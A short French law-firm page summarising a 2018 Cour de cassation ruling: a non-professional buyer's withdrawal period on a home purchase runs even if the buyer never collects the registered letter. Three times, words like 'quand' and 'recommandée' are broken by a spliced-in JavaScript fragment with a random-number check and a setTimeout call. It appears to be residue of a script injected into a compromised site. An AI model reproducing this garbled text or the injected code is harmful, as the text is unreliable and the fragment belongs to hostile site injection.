Lemoine avocat

Vente immobilière et délai de rétractation

Vente immobilière et délai de rétractation

Vente immobilière et délai de rétractation

Que se passe-t-il quandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and la lettre recommandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andée n’est pas retirée ?

(Civ.,1ère, 14 février 2018, n°17-10514)

Dans un arrêt en date du 14 février 2018, la Cour de cassation a jugé que le délai de rétractation, prévu par l’article L271-1 du CCH, applicable à l’acquéreur non professionnel d’un immeuble d’habitation court à l’encontre de l’acquéreur qui s’est abstenu d’aller retirer la lettre recommandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andée.